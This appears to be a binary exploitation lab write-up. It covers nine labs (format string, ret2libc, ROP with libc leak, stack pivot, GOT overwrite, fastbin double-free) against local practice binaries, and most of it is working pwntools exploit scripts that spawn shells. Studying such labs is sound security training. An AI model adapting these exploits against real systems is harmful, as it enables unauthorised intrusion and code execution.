BoF === LAB0 --- ``` root@Ubuntu : LAB0 ➤ file * magic: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=9ade4f4f3af4a09ec1de6b3aa14f8530b3237403, for GNU/Linux 3.2.0, not stripped magic.c: C source, ASCII text root@Ubuntu : LAB0 ➤ ./magic what's you name : %p. Bye~ 0xffc08d60. ``` input have format string bug in `0x8049232` if `eax=0xff` you will get a shell(`system("/bin/bash")`) and `eax` value is come from `0x8049228` its mean `eax = **(ebp + 8)` ``` [gdb]> r Starting program: /home/lab/813_lab/LAB0/magic what's you name : %p Bye~ 0xffffdb10 [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x804c000 --> 0x804bf10 --> 0x1 ECX: 0xf7fc3870 --> 0x0 EDX: 0x0 ESI: 0xf7fc2000 --> 0x1b1db0 EDI: 0xffffdb50 --> 0x0 EBP: 0xffffdb58 --> 0xffffdb88 --> 0x0 ESP: 0xffffdb10 --> 0xa7025 ('%p\n') EIP: 0x804922d (<welcome+151>: cmp eax,0xff) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049225 <welcome+143>: add esp,0x10 0x8049228 <welcome+146>: mov eax,DWORD PTR [ebp+0x8] 0x804922b <welcome+149>: mov eax,DWORD PTR [eax] => 0x804922d <welcome+151>: cmp eax,0xff 0x8049232 <welcome+156>: jne 0x8049246 <welcome+176> 0x8049234 <welcome+158>: sub esp,0xc 0x8049237 <welcome+161>: lea eax,[ebx-0x1fdf] 0x804923d <welcome+167>: push eax [------------------------------------stack-------------------------------------] 0000| 0xffffdb10 --> 0xa7025 ('%p\n') 0004| 0xffffdb14 --> 0x0 0008| 0xffffdb18 --> 0x0 0012| 0xffffdb1c --> 0x0 0016| 0xffffdb20 --> 0x0 0020| 0xffffdb24 --> 0x0 0024| 0xffffdb28 --> 0x0 0028| 0xffffdb2c --> 0x0 [------------------------------------------------------------------------------] ``` we can use format string bug to overwrite address(%n) and point of eax is in `ebp + 8` , it will on stack. so when trigger format string bug, stack is this: ``` [gdb]> r Starting program: /home/lab/813_lab/LAB0/magic what's you name : %p [----------------------------------registers-----------------------------------] EAX: 0xffffdb10 --> 0xa7025 ('%p\n') EBX: 0x804c000 --> 0x804bf10 --> 0x1 ECX: 0x0 EDX: 0xf7fc3870 --> 0x0 ESI: 0xf7fc2000 --> 0x1b1db0 EDI: 0xffffdb50 --> 0x0 EBP: 0xffffdb58 --> 0xffffdb88 --> 0x0 ESP: 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n') EIP: 0x804920c (<welcome+118>: call 0x8049040 <printf@plt>) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049205 <welcome+111>: sub esp,0xc 0x8049208 <welcome+114>: lea eax,[ebp-0x48] 0x804920b <welcome+117>: push eax => 0x804920c <welcome+118>: call 0x8049040 <printf@plt> 0x8049211 <welcome+123>: add esp,0x10 0x8049214 <welcome+126>: mov eax,DWORD PTR [ebx-0x4] 0x804921a <welcome+132>: mov eax,DWORD PTR [eax] 0x804921c <welcome+134>: sub esp,0xc Guessed arguments: arg[0]: 0xffffdb10 --> 0xa7025 ('%p\n') [------------------------------------stack-------------------------------------] 0000| 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n') 0004| 0xffffdb04 --> 0xffffdb10 --> 0xa7025 ('%p\n') 0008| 0xffffdb08 --> 0x40 ('@') 0012| 0xffffdb0c --> 0x80491a3 (<welcome+13>: add ebx,0x2e5d) 0016| 0xffffdb10 --> 0xa7025 ('%p\n') 0020| 0xffffdb14 --> 0x0 0024| 0xffffdb18 --> 0x0 0028| 0xffffdb1c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0804920c in welcome () [gdb]> stack 100 0000| 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n') 0004| 0xffffdb04 --> 0xffffdb10 --> 0xa7025 ('%p\n') 0008| 0xffffdb08 --> 0x40 ('@') 0012| 0xffffdb0c --> 0x80491a3 (<welcome+13>: add ebx,0x2e5d) 0016| 0xffffdb10 --> 0xa7025 ('%p\n') 0020| 0xffffdb14 --> 0x0 0024| 0xffffdb18 --> 0x0 0028| 0xffffdb1c --> 0x0 0032| 0xffffdb20 --> 0x0 0036| 0xffffdb24 --> 0x0 0040| 0xffffdb28 --> 0x0 0044| 0xffffdb2c --> 0x0 0048| 0xffffdb30 --> 0x0 0052| 0xffffdb34 --> 0x0 0056| 0xffffdb38 --> 0x0 0060| 0xffffdb3c --> 0x0 0064| 0xffffdb40 --> 0x0 0068| 0xffffdb44 --> 0x0 0072| 0xffffdb48 --> 0x0 0076| 0xffffdb4c --> 0x0 0080| 0xffffdb50 --> 0x0 0084| 0xffffdb54 --> 0xf7fc2000 --> 0x1b1db0 0088| 0xffffdb58 --> 0xffffdb88 --> 0x0 0092| 0xffffdb5c --> 0x804927c (<main+46>: add esp,0x10) 0096| 0xffffdb60 --> 0xffffdb7c --> 0x0 0100| 0xffffdb64 --> 0x1 ``` `ebp` is `0xffffdb58` and `ebp+8` is `0xffffdb60` this point is eax! and we can use `%24$p` to read this point and use `%255c%24$n` to overwrite this point to `0xff`, and we will get a shell. LAB1 --- just overwrite admin value to be 0xdeadbeef. LAB2 --- need disable aslr and use return to shellcode LAB3 --- this challenge provide `system` and `/bin/sh` ``` root@Ubuntu : LAB3 ➤ nm admin3|grep sh U fflush@@GLIBC_2.0 0804c030 D sh root@Ubuntu : LAB3 ➤ objdump -S ./admin3|grep system 08049070 <system@plt>: ``` so just use this to do ret2libc python -c "print 'a'*80+'\x70\x90\x04\x08zzzz\x30\xc0\x04\x08'"|./admin3 LAB4 --- ROP, leak libc base and return to main, ROP again, to `system("/bin/sh")` ```python from pwn import * r = remote('127.0.0.1', 4444) e = ELF("./admin4") libc = ELF("./libc.so.6") print r.recv() payload = "a"*80 payload += p32(e.plt['puts']) payload += p32(e.symbols['main']) payload += p32(e.got['puts']) r.sendline(payload) r.recv(5) libc_base = u32(r.recv(4)) - libc.symbols['puts'] log.info(hex(libc_base)) payload = "a"*80 payload += p32(libc_base + libc.symbols['system']) payload += p32(0) payload += p32(libc_base + 0x15ba0b) r.sendline(payload) #0015ba00: 746f 645f 6c2e 6300 2d63 002f 6269 6e2f tod_l.c.-c./bin/sh r.interactive() ``` LAB5 --- only read 84 byte, and control eip is on 80byte, so just one gadget can use, we can control ebp, and jump to before read then we will write second payload at ebp which we control a fake address second payload need to leak libc, and return to main, because we need to call fflush, and then call read to write third payload to after got third payload will get shell (system("/bin/sh")) ```python from pwn import * r = remote("127.0.0.1", 45454) e = ELF("./admin5") libc = ELF("./libc.so.6") print r.recv() payload = "a"*76 payload += p32(0x0804af00) payload += p32(0x80484fe) r.send(payload) sleep(0.1) print r.recv() pop_ebp_ret = 0x080485fb #: pop ebp ; ret pop_1_ret = 0x08048371 #: pop ebx ; ret pop_3_ret = 0x080485f9 #: pop esi ; pop edi ; pop ebp ; ret leave_ret = 0x08048468 #: leave ; ret payload = p32(e.plt['puts']) # start at 0x804afxx payload += p32(pop_1_ret) payload += p32(e.got['puts']) payload += p32(e.symbols['main']) payload += p32(e.plt['read']) payload += p32(pop_3_ret) payload += p32(0) + p32(0x804ae00) + p32(0x100) payload += p32(pop_ebp_ret) payload += p32(0x804adfc) payload += p32(leave_ret) log.info("size : " + str(len(payload))) payload += "a"*(84 - len(payload) - 8) payload += p32(0x804aeb0) # fake ebp payload += p32(leave_ret) # eip r.send(payload) print r.recv(5) libc_base = u32(r.recv(4)) - libc.symbols['puts'] log.info(hex(libc_base)) system = libc_base + libc.symbols['system'] sh = libc_base + 0x15ba0b r.send("\n") sleep(0.1) payload = p32(system) payload += p32(0) payload += p32(sh) r.sendline(payload) r.interactive() ``` LAB6 --- same as LAB4, but try onegadget. from pwn import * ```python r = remote('127.0.0.1', 4444) e = ELF("./admin4") libc = ELF("./libc.so.6") print r.recv() payload = "a"*80 payload += p32(e.plt['puts']) payload += p32(e.symbols['main']) payload += p32(e.got['puts']) r.sendline(payload) r.recv(5) libc_base = u32(r.recv(4)) - libc.symbols['puts'] log.info(hex(libc_base)) payload = "a"*80 payload += p32(libc_base+0x3ac5e) payload += p32(0)*100 r.sendline(payload) r.interactive() ``` LAB7 --- review source code can find a function: ```c void wtf(){ puts("/bin/bash"); } ``` let it overflow and leak libc base then call `read(0, got['puts'], 4)` then write system address to `got['puts']` and we call wtf() -> system("/bin/bash") ```python from pwn import * r = remote('127.0.0.1', 44444) e = ELF('./admin6') lib = ELF('./libc.so.6') print r.recv() payload = "a"*80 payload += p32(e.plt['read']) payload += p32(e.symbols['_start']) payload += p32(0) payload += p32(e.got['exit']) payload += p32(4) r.sendline(payload) sleep(1) r.send(p32(e.symbols['_start'])) print r.recv() payload = "b"*80 payload += p32(e.plt['puts']) payload += p32(e.symbols['_start']) payload += p32(e.got['puts']) r.sendline(payload) print r.recv() r.sendline(payload) r.recv(5) leak = u32(r.recv(4)) - lib.symbols['puts'] log.info(hex(leak)) print r.recv() payload = "c"*80 payload += p32(e.plt['read']) payload += p32(e.symbols['wtf']) payload += p32(0) payload += p32(e.got['puts']) payload += p32(4) r.sendline(payload) sleep(1) r.sendline(p32(leak + lib.symbols['system'])) r.interactive() ``` LAB8 --- a easy fastbin attack 1. create 3 note 2. delete note 0 3. delete note 1 4. delete note 0 5. create 1 note -> first 4 byte will add to fastbin 6. create 2 note 7. create 1 note -> this malloc address is write on step5 In step5. use can write a address after got table and this address is near note address so can use this note to overwrite note[0] address to some got. final. use read note to leak libc and use edite note to write system to some function. ```python from pwn import * def create(r, s): r.recvuntil(">") r.sendline("1") r.recvuntil(":") r.sendline(str(s)) sleep(0.1) def delete(r, idx): r.recvuntil(">") r.sendline("4") r.recvuntil(":") r.sendline(str(idx)) sleep(0.1) r = remote("127.0.0.1", 44444) create(r, "0") create(r, "1") create(r, "2") for i in xrange(60): create(r, i) delete(r, "0") delete(r, "1") delete(r, "0") create(r, p32(0x804a044)) create(r, "4444") create(r, "5555") create(r, "a"*(5*4)+p32(0x804a030)) r.recvuntil(">") r.sendline("2") r.recvuntil(":") r.sendline("0") r.recvuntil("[0] : ") libc = ELF("./LAB8/libc.so.6") libc_base = u32(r.recv(4)) - libc.symbols["atoi"] log.info("libc : " + str(hex(libc_base))) system = libc_base + libc.symbols["system"] r.recvuntil(">") r.sendline("3") r.recvuntil(":") r.sendline("0") r.recvuntil(":") r.sendline(p32(system)) r.recvuntil(">") r.sendline("sh") r.interactive() r.recvuntil(">") r.sendline("5") ```